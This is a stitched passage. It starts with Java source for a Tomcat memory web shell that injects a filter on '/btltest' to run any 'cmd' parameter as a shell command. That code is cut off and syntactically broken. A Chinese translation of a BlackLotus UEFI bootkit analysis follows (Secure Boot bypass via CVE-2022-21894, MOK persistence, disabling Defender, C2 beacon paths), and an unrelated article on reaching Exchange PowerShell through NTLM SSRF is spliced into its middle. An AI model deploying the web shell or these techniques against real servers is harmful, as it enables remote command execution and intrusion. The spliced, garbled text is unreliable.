public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {

}

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();

}

@Override public void destroy() {

} }); standardCtx.addFilterDef(filterDef);

Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }

public Object getStandardContext(){ return standard_context_obj; }

public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA

繞過安全啟動並建立持久性在本部分中,我們將詳細了解BlackLotus如何在啟用UEFI Secure Boot的系統上實現持久性。由於我們將要描述的執行鏈非常複雜,我們將首先解釋基本原理,然後深入了解技術細節。

簡而言之,該過程包括兩個關鍵步驟:

利用CVE-2022-21894繞過安全啟動功能並安裝bootkit。這允許在早期啟動階段任意執行代碼,此時平台仍然由固件擁有,UEFI啟動服務功能仍然可用。這使得攻擊者可以在沒有物理訪問權限的情況下,在啟用了UEFI Secure Boot的設備上做許多不應該做的事情,例如修改僅用於啟動服務的NVRAM變量。這就是攻擊者在下一個步驟中為bootkit設置持久性所利用的。通過將自己的MOK寫入MokList來設置持久性,Boot僅服務NVRAM變量。這樣,它可以使用合法的Microsoft-signedshim加載其自簽名(由寫入MokList的密鑰的私鑰簽名)UEFIbootkit,而不是在每次啟動時利用該漏洞。有關這一點的更多信息,請參閱Bootkit持久性部分。

為了使下面兩部分的分析更容易,研究人員將遵循執行圖(下圖)中所示的步驟。

7.png

繞過安全啟動並使用MOK設置持久性

利用CVE-2022-21894為了繞過安全啟動,BlackLotus使用baton drop漏洞(CVE-2022-21894):安全啟動安全功能繞過漏洞。儘管這個漏洞對系統安全影響很大,但它並沒有得到應有的重視。儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的二進製文件仍未添加到UEFI取消列表中,因此攻擊者仍有可能利用該漏洞。因此,攻擊者可以將他們自己的易受攻擊的二進製文件副本帶到受害者的設備上,以利用此漏洞並繞過最新UEFI系統上的安全啟動。

此外,自2022年8月以來,針對該漏洞的概念證明(PoC)漏洞已公開可用。考慮到第一次BlackLotus VirusTotal提交的日期,惡意軟件開發人員可能只是根據他們的需要調整了可用的PoC,而不需要深入了解此漏洞的工作原理。

讓我們先簡單介紹一下該漏洞,主要是與PoC一起發佈在GitHub上的文章中的關鍵點:

受影響的Windows啟動應用程序(如bootmgr.efi、hvloader.efi、winload.efi…)允許在應用程序加載序列化安全啟動策略之前,使用truncatememory BCD啟動選項從內存中刪除該策略。

這允許攻擊者使用其他危險的BCD選項,如bootdebug、testsigning或nointegridchecks,從而破壞安全啟動。

有多種方法可以利用此漏洞——其中三種方法已發佈在PoC存儲庫中。

例如,其中一個PoC顯示瞭如何利用它使合法的hvloader.efi加載任意的自簽名mcupdate_

現在,我們繼續介紹BlackLotus如何利用此漏洞:

1.安裝程序重新啟動機器後,UEFI固件將繼續加載第一個啟動選項。對於Windows系統,默認情況下,第一個啟動選項是位於ESP上ESP:/efi/Microsoft/boot文件夾中的bootmgfw.efi。這一次,固件沒有執行原始受害者的bootmgfw.efi(安裝程序以前將其重命名為winload.efi),而是執行安裝程序部署的易受攻擊的啟動。

2.執行bootmgfw.efi後,它將加載BCD啟動選項,該選項先前由安裝程序修改。下圖顯示了合法BCD和修改後BCD的比較。

3.如下圖所示(路徑以綠色劃線),合法的Windows Boot Manager通常會將Windows OS加載程序(\Windows\system32\winload.efi)作為默認啟動應用程序加載。但這一次,使用修改後的BCD,它繼續加載易受攻擊的ESP:\system32\bootmgr.efi,避免內存BCD元素設置為值0x10000000,並且custom:22000023BCD指向另一個攻擊者存儲在ESP:\system32\BCD中的BCD。

8.png

合法BCD存儲(BEFORE)與BlackLotus安裝程序使用的存儲(AFTER)的比較

4.在下一步中,執行的ESP:\system32\bootmgr.efi加載位於ESP:\system32\BCD中的附加BCD。這個附加BCD的解析內容如下圖所示。

9.png

BlackLotus安裝程序釋放的第二個BCD——用於利用CVE-2022-21894

5.由於從上圖所示的BCD文件加載了選項,bootmgr.efi將繼續加載安裝程序部署的另一個易受攻擊的Windows啟動應用程序ESP:\system32\hvloader.efi,即Windows Hypervisor Loader。更重要的是,在同一BCD文件中指定了其他BCD選項:

值設置為0x10000000的truncatememory;

nointegridchecks設置為Yes;

testsigning也設置為Yes;

此時就會發生意想不到的事情,由於序列化的安全啟動策略應該在0x10000000以上的物理地址中加載(因為前面步驟中使用了avoidlowmemory),指定truncatmemory元素將有效地刪除它。因此,中斷安全啟動並允許使用危險的BCD選項,如nointegritychecks或testsigning。通過使用這些選項,攻擊者可以使hvloader.efi執行自己的自簽名代碼。

6.為此,使用此PoC中描述的技巧,即在執行過程中,合法的hvloader.efi從

10.png

從合法的hvloader.efi反編譯BtLoadUpdateDll函數,負責加載mcupdate_*.dll

7.現在,隨著攻擊者自己的自簽名mcupdate*.dll被加載和執行,它將繼續執行這個鏈中的最後一個組件——一個嵌入式MokInstaller (UEFI應用程序)——參見圖10了解它是如何完成的。

11.png

Hex-Rays反編譯惡意自簽名mcupdate*.dll二進制代碼

Bootkit持久性現在,MokInstaller可以繼續設置持久性,方法是將攻擊者的MOK註冊到NVRAM變量中,並將合法的Microsoft簽名的shim二進製文件設置為默認啟動加載程序來繼續設置持久性。

shim是由Linux開發人員開發的第一階段UEFI啟動加載程序,用於使各種Linux發行版與UEFI Secure Boot一起工作。它是一個簡單的應用程序,其目的是加載、驗證和執行另一個應用程序,在Linux系統中,它通常是GRUB啟動加載程序。它的工作方式是,微軟只簽署一個shim, shim負責其餘的工作,它可以通過使用db UEFI變量中的密鑰來驗證第二階段啟動加載器的完整性,還可以嵌入自己的“允許”或“取消”項或哈希列表,以確保平台和shim開發人員(例如Canonical, RedHat等)都信任的組件被允許執行。除了這些列表之外,shim還允許使用用戶管理的外部密鑰數據庫,即MOK列表。該MOK數據庫存儲在名為MokList的僅啟動NVRAM變量中。在不利用上述漏洞的情況下,需要物理訪問才能在啟用UEFI Secure Boot的系統上對其進行修改(僅在啟動期間,在系統加載程序調用UEFI啟動服務函數ExitBootServices之前可用)。然而,通過利用此漏洞,攻擊者能夠繞過UEFI Secure Boot並在調用ExitBootServices之前執行自己的自簽名代碼,因此他們可以輕鬆註冊自己的密鑰(通過修改MokList NVRAM變量),使填充程序執行任何應用程序(由該註冊密鑰簽名),而不會導致安全違規。

12.jpg

MOK啟動過程

8.MokInstaller UEFI應用程序繼續為BlackLotus UEFIbootkit設置持久性,並通過以下方式覆蓋利用痕跡:

8.1 從安裝程序創建的備份中恢復受害者的原始BCD存儲,並將efi替換為合法的microsoft簽名shim,該shim先前由安裝程序放置到ESP:\system32\bootload.efi中。

8.2創建包含攻擊者自簽名公鑰證書的MokList NVRAM變量。請注意,此變量的格式與任何其他UEFI簽名數據庫變量(如db或dbx)的格式相同,它可以由零個或多個EFI_signature_LIST類型的簽名列表組成,如UEFI規範中所定義。

8.3 從攻擊者的ESP:\system32\文件夾中刪除涉及攻擊的所有文件。

最後,它會重新啟動計算機,使部署的shim執行安裝程序從\EFI\Microsoft\Boot\grub64.EFI中刪除自簽名bootkit,grub64.EFI通常是x86-64系統上shim執行的默認第二階段啟動加載程序。

13.png

Hex Rays反編譯代碼——MokInstaller UEFI應用程序為BlackLotus bootkit設置持久性

BlackLotus UEFIbootkit一旦配置了持久性,就會在每次系統啟動時執行BlackLotusbootkit。 bootkit的目標是部署一個內核驅動程序和一個最終的用戶模式組件——HTTP下載器。在執行過程中,它試圖禁用其他Windows安全功能——基於虛擬化的安全(VBS)和Windows Defender——以提高成功部署和隱形操作的機會。在詳細介紹如何實現之前,讓我們先了解一下內核驅動程序和HTTP下載器的基本知識:

內核驅動程序負責:

部署鏈的下一個組件—HTTP下載器;

在被終止運行的情況下保持加載器不被關閉;

防止從ESP中刪除bootkit文件;

如果HTTP下載器指示的話,執行額外的內核有效負載;

根據HTTP下載器的指示,卸載bootkit。

HTTP下載器負責:

與CC通信;

執行從CC收到的命令;

下載並執行從CC接收到的有效負載(支持內核有效負載和用戶模式有效負載)。

從安裝程序到HTTP下載器的完整執行流程(簡化後)如下圖所示。我們將在下一節中更詳細地描述這些步驟。

14.png

BlackLotus UEFIbootkit執行示意圖

BlackLotus執行流程執行步驟如下(這些步驟如下圖所示):

1.UEFI固件執行默認的Windows啟動選項,該選項通常存儲在\EFI\Microsoft\boot\bootmgfw.EFI中的文件。正上所述,MokInstaller二進製文件用一個合法的簽名shim替換了這個文件。

2.執行shim時,它讀取MokList NVRAM變量,並使用攻擊者先前存儲在其中的證書來驗證第二階段啟動加載程序——位於\EFI\Microsoft\Boot\grubx64.efi中的自簽名BlackLotus UEFI啟動程序。

3.驗證後,shim執行bootkit。

4.bootkit從創建僅啟動VbsPolicyDisable NVRAM變量開始。如本文所述,此變量在啟動期間由Windows OS加載程序評估,如果已定義,則不會初始化核心VBS功能,如HVCI和憑據保護。

5.在以下步驟中,bootkit繼續使用UEFIbootkit使用的通用模式。它攔截典型Windows啟動流中包含的組件的執行,例如Windows啟動管理器、Windows OS加載器和Windows OS內核,並將它們的一些功能掛鉤到內存中。另外,它還嘗試通過修復某些驅動程序來禁用Windows Defender。所有這些都是為了在系統啟動過程的早期階段實現有效負載的執行,並避免檢測。以下函數已掛鉤或修復:

5.1 bootmgfw.efi或bootmgr.efi中的ImgArchStartBootApplication:該函數通常由bootkit掛鉤,以捕捉Windows OS加載程序(winload.efi)加載到內存中但尚未執行的時刻——這是執行更多內存修復的正確時刻。

5.2 winload.efi中的BlImgAllocateImageBuffer:用於為惡意內核驅動程序分配額外的內存緩衝區。

5.3 winload.efi中的OslArchTransferToKernel:連接以捕捉系統內核和某些系統驅動程序已加載到內存中但尚未執行的時刻,這是執行更多內存修復的最佳時刻。下面提到的驅動程序在此掛鉤中進行了修復。下圖顯示了這個掛鉤中負責在內存中查找適當驅動程序的代碼。

5.4 WdBoot.sys和WdFilter.sys:BlackLotus修復了WdBoot.sys和WdFilter.sys(分別是Windows Defender ELAM驅動程序和Windows Defender文件系統篩選器驅動程序)的入口點,以立即返回。

5.5 disk.sys:bootkit將disk.sys驅動程序的入口點掛鉤,以便在系統初始化的早期階段執行BlackLotus內核驅動程序。

15.png

OslArchTransferToKernel掛鉤的反編譯代碼——修復Windows Defender驅動程序並蒐索disk.sys入口點

6.接下來,當系統內核執行disk.sys驅動程序的入口點時,已安裝的掛鉤會跳轉到惡意內核驅動程序入口點。惡意代碼反過來恢復原始disk.sys以使系統正常運行,並等待winlogon.exe進程啟動。

7.當惡意驅動程序檢測到winlogon.exe進程已啟動時,它會向其中註入並執行最終的用戶模式組件——HTTP下載器。

內核驅動程序內核驅動程序主要負責四個任務:

將HTTP下載器注入到winlogon.exe中,並在線程終止時重新註入它;

保護部署在ESP上的bootkit文件不被刪除;

解除用戶模式Windows Defender進程MsMpEngine.exe;

與HTTP下載器通信,並在必要時執行任何命令。

HTTP下載器持久性內核驅動程序負責部署HTTP下載程序。當驅動程序啟動時,它會等待名為winlogon.exe的進程啟動,然後再執行任何其他操作。進程啟動後,驅動程序解密HTTP下載程序二進製文件,將其註入winlogon.exe的地址空間,並在新線程中執行。然後,驅動程序會定期檢查線程是否仍在運行,並在必要時重複注入。如果驅動程序檢測到內核調試器,則不會部署HTTP下載程序。

保護ESP上的bootkit文件不被刪除為了保護ESP上的bootkit文件,內核驅動程序使用了一個簡單的技巧。它打開所有要保護的文件,複製並保存其句柄,並使用ObSetHandleAttributes內核函數將HandleFlags(OBJECT_HANDLE_flag_INFORMATION)參數內的ProtectFromClose標誌指定為1,從而保護句柄不被任何其他進程關閉。這將阻止任何刪除或修改受保護文件的嘗試。受保護的文件包括:

ESP:\EFI\Microsoft\Boot\winload.efiESP:\EFI\Microsoft\Boot\bootmgfw.efiESP:\EFI\Microsoft\Boot\grubx64.efi如果用戶試圖刪除這些受保護的文件,就會出現如下圖所示的情況。

16.png

試圖刪除受BlackLotus驅動程序保護的文件

作為另一層保護,如果用戶或安全軟件能夠取消設置保護標誌並關閉句柄,內核驅動程序將持續監視它們,如果句柄不再存在,則通過調用KeBugCheck(INVALID_kernel_HANDLE)函數來生成一個BSOD。

解除主Windows Defender進程內核驅動程序還試圖解除主Windows Defender進程MsMpEng.exe的防護。為此,它通過為每個進程設置SE_PRIVILEGE_REMOVED屬性來刪除所有進程的令牌權限。因此,Defender進程應該無法正確地完成其工作(例如掃描文件)。但是,由於該功能執行得很差,因此可以通過重新啟動MsMpEng.exe進程使其失效。

0x00 前言Exchange Powershell基於PowerShell Remoting,通常需要在域內主機上訪問Exchange Server的80端口,限制較多。本文介紹一種不依賴域內主機發起連接的實現方法,增加適用範圍。

注:

該方法在CVE-2022–41040中被修復,修復位置:C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll中的RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress),如下圖

1.png

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

0x02 實現思路常規用法下,使用Exchange Powershell需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

常規用法無法在域外發起連接,而我們知道,通過ProxyShell可以從域外發起連接,利用SSRF執行Exchange Powershell

更進一步,在打了ProxyShell的補丁後,支持NTLM認證的SSRF沒有取消,我們可以通過NTLM認證再次訪問Exchange Powershell

0x03 實現細節在代碼實現上,我們可以加入NTLM認證傳入憑據,示例代碼:

3.png

在執行Exchange Powershell命令時,我們可以選擇pypsrp或者Flask,具體細節可參考之前的文章《ProxyShell利用分析2——CVE-2021-34523》 和《ProxyShell利用分析3——添加用户和文件写入》

pypsrp或者Flask都是通過建立一個web代理,過濾修改通信數據實現命令執行

為了增加代碼的適用範圍,這裡選擇另外一種實現方法:模擬Exchange Powershell的正常通信數據,實現命令執行

可供參考的代碼:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58

代碼使用了Python2,實現了ProxyShell的利用

基於這個代碼,改寫成支持Python3,功能為通過NTLM認證訪問Exchange Powershell執行命令,具體需要注意的細節如下:

1.Python2和Python3在格式化字符存在差異(1)

Python2下可用的代碼:

4.png

以上代碼在Python3下使用時,需要將Str轉為bytes,並且為了避免不可見字符解析的問題,代碼結構做了重新設計,Python3可用的代碼:

11.png

(2)

Python2下可用的代碼:

12.png以上代碼在Python3下使用時,需要將Str轉為bytes,Python3可用的示例代碼:

13.png

(3)

Python2下可用的代碼:

15.png 16.png

以上代碼在Python3下使用時,需要將Str轉為bytes,為了避免不可見字符解析的問題,這裡不能使用.decode('utf-8'),改為使用.decode('ISO-8859-1')

Python3可用的示例代碼:

17.png

2.支持Exchange Powershell命令的XML文件格式XML文件格式示例1:

20.png

對應執行的命令為:Get-RoleGroupMember 'Organization Management'

XML文件格式示例2:

21.png

對應執行的命令為:Get-Mailbox -Identity administrator

通過格式分析,可得出以下結論:

(1)屬性Cmd對應命令名稱例如:

22.png

(2)傳入的命令參數需要注意格式如果只傳入1個參數,對應的格式為:

23.png如果傳入2個參數,對應的格式為:

24.png

如果傳入4個參數,對應的格式為:

25.png為此,我們可以使用以下代碼實現參數填充:

26.png構造XML文件格式的實現代碼:

27.png 28.png 29.png結合以上細節後,我們可以得出最終的實現代碼,代碼執行結果如下圖

Unknown.png

0x04 小結本文介紹了遠程訪問Exchange Powershell的實現方法,優點是不依賴於域內主機上發起連接,該方法在CVE-2022–41040中被修復。

與HTTP下載器的通信內核驅動程序能夠通過使用命名的Event和Section與HTTP下載器通信。所使用的命名對象的名稱是根據受害者的網絡適配器MAC地址(以太網)生成的。如果一個八位字節的值小於16,那麼將向其添加16。生成的對象名稱的格式可能在不同的示例中有所不同。例如,在我們分析的一個示例中,對於MAC地址00-1c-0b-cd-ef-34,生成的名稱為:

\BaseNamedObjects\101c1b:用於命名部分(僅使用MAC的前三個八位字節);

\BaseNamedObjects\Z01c1b:用於命名事件,與Section相同,但MAC地址的第一個數字被替換為Z;

如果HTTP下載器想要將一些命令傳遞給內核驅動程序,它只需要創建一個命名的節,在其中寫入一個包含相關數據的命令,並通過創建一個指定事件等待驅動程序處理該命令,直到驅動程序觸發(或發出信號)該命令。

驅動程序支持以下一目了然的命令:

安裝內核驅動程序;

卸載BlackLotus;

細心的讀者可能會注意到這裡的BlackLotus弱點,即使bootkit保護其組件不被刪除,內核驅動程序也可以通過創建上述命名對象並向其發送卸載命令來完全卸載bootkit。

HTTP下載器最後一個組件負責與CC服務器通信,並執行從其接收的任何CC命令。我們能夠發現的所有有效載荷都包含三個命令。這些命令非常簡單,正如部分名稱所示,主要是使用各種技術下載和執行額外的有效載荷。

CC通信為了與其CC通信,HTTP加載器使用HTTPS協議。通信所需的所有信息都直接嵌入到下載器二進製文件中,包括使用的CC域和HTTP資源路徑。與CC服務器通信的默認間隔設置為一分鐘,但可以根據CC的數據進行更改。與CC的每個通信會話都從向其發送信標HTTP POST消息開始。在我們分析的示例中,可以在HTTP POST標頭中指定以下HTTP資源路徑:

/network/API/hpb_gate[.]php

/API/hpb_gate[.]php

/gate[.]php

/hpb_gate[.]php

信標消息數據以checkin=字符串開頭,包含有關受攻擊機器的基本信息,包括自定義設備標識符(稱為HWID)、UEFI Secure Boot狀態、各種硬件信息以及一個看起來是BlackLotus內部版本號的值。 HWID由設備MAC地址(以太網)和系統卷序列號生成。加密前的消息格式如下圖所示。

17.png

在向CC發送消息之前,首先使用嵌入的RSA密鑰對數據進行加密,然後使用URL安全的base64編碼。在分析過程中,我們發現樣本中使用了兩個不同的RSA密鑰。這種HTTP信標請求的示例如下圖所示。

18.png

信標HTTP POST消息示例(由VirusTotal中的示例生成——具有本地IP而非真實CC地址的示例)

作為對信標消息的響應,從CC接收的數據應以兩字節魔法值HP開頭;否則,不進一步處理響應。如果魔法值正確,則在CBC模式下使用256位AES對魔法值之後的數據進行解密,並使用上述HWID字符串作為密鑰。

解密後,該消息類似於信標,一個JSON格式的字符串,並指定命令標識符(稱為Type)和各種附加參數,例如:

CC通信間隔;

執行方法;

有效負載文件名;

基於文件擴展名的負載類型(支持.sys、exe或.dll);

應該用於請求下載有效負載數據的身份驗證令牌;

用於解密有效負載數據的AES密鑰;

下表列出了所有支持的命令及其說明。

表2:CC命令

19.png

在這些命令中,CC可以指定是在執行負載之前先將其放到磁盤上,還是直接在內存中執行。在將文件放到磁盤的情況下,操作系統卷上的ProgramData文件夾將用作目標文件夾,文件名和擴展名由CC服務器指定。在直接在內存中執行文件的情況下,svchost.exe用作注入目標。當CC發送需要內核驅動程序協作的命令時,或者操作員希望以內核模式執行代碼時,將使用與HTTP下載器通信部分中描述的機制。

反分析技巧為了更難檢測和分析這一惡意軟件,其開發者試圖將標准文件工件(如文本字符串、導入或其他未加密的嵌入數據)的可見性限制在最低限度。以下是所用技術的摘要。

字符串和數據加密:示例中使用的所有字符串都使用簡單的密碼進行加密;

所有嵌入的文件都在CBC模式下使用256位AES加密;

各文件的加密密鑰可能因樣本而異;

除AES加密之外,一些文件還使用LZMS進行壓縮。

Runtime-onlyAPI解析:在所有示例中(如果適用),Windows API總是在運行時進行排他解析,並且使用函數哈希而不是函數名來查找內存中所需的API函數地址;

在某些情況下,直接syscall指令調用用於調用所需的系統函數;

網絡通信:使用HTTPS通信;

HTTP下載器發送到CC的所有消息都使用嵌入的RSA公鑰進行加密;

從CC發送到HTTP下載器的所有消息都使用來自受害者設備環境的密鑰或CC提供的AES密鑰進行加密;

反調試和反VM技巧:如果使用該方法,通常放在入口點的開頭,僅使用臨時沙盒或調試器檢測技巧。

緩解措施和補救措施首先,必須保持所使用的系統及其安全產品是最新的;

然後,要防止使用已知的易受攻擊UEFI二進製文件繞過UEFI Secure Boot,需要採取的關鍵步驟是在UEFI取消數據庫(dbx)中取消這些二進製文件,在Windows系統上,應使用Windows Update傳播dbx更新。

問題是,廣泛使用的Windows UEFI二進製文件的取消可能會導致數千個過時的系統、恢復映像或備份無法啟動,因此,取消通常需要很長時間。

請注意,BlackLotus使用的Windows應用程序的取消將阻止啟動工具包的安裝,但由於安裝程序將用已取消的啟動加載器替換受害者的啟動加載器,這可能會使系統無法啟動。要在這種情況下進行恢復,重新安裝操作系統或僅進行ESP恢復即可解決問題。

如果在設置BlackLotus持久性之後發生取消,則bootkit將保持正常運行,因為它使用具有自定義MOK密鑰的合法填充程序進行持久性。在這種情況下,最安全的緩解方案是重新安裝Windows,並使用mokutil實用程序刪除攻擊者註冊的MOK密鑰(由於在啟動過程中需要用戶與MOK管理器進行必要的交互,因此執行此操作需要實體存在)。

總結在過去幾年中,已經發現了許多影響UEFI系統安全的關鍵漏洞。不幸的是,由於整個UEFI生態系統的複雜性和相關的供應鏈問題,即使在漏洞修復後很長一段時間,或者至少在用戶被告知它們已修復後,這些漏洞中的許多漏洞仍會使許多系統處於易受攻擊狀態。下面是一些去年允許UEFI Secure Boot繞過的修復或取消失敗的示例:

首先,當然是CVE-2022-21894,這是一個被BlackLotus利用的漏洞。在修復該漏洞一年後,易受攻擊的UEFI二進製文件仍然沒有被取消,這使得BlackLotus等攻擊可以在啟用了UEFI Secure Boot的系統上秘密運行。

早在2022年,研究人員就披露了幾個允許禁用UEFI Secure Boot的UEFI漏洞。許多受影響的設備不再受到OEM的支持,但在聯想消費級筆記本電腦中發現高影響的UEFI漏洞。

在2022年晚些時候,研究人員發現了其他一些UEFI漏洞,這些漏洞也允許攻擊者很容易地禁用UEFI Secure Boot。正如Binarly的研究人員指出的那樣,在警告發布幾個月後,警告中列出的幾個設備都沒有被修復,或者沒有正確地被修復,這使得這些設備容易受到攻擊。與前面的情況類似,一些設備將永遠處於易受攻擊狀態,因為它們已經無法更新。在不遠的將來,有攻擊者會濫用這些漏洞,創建一個能夠在啟用UEFI Secure Boot的系統上運行的UEFIbootkit。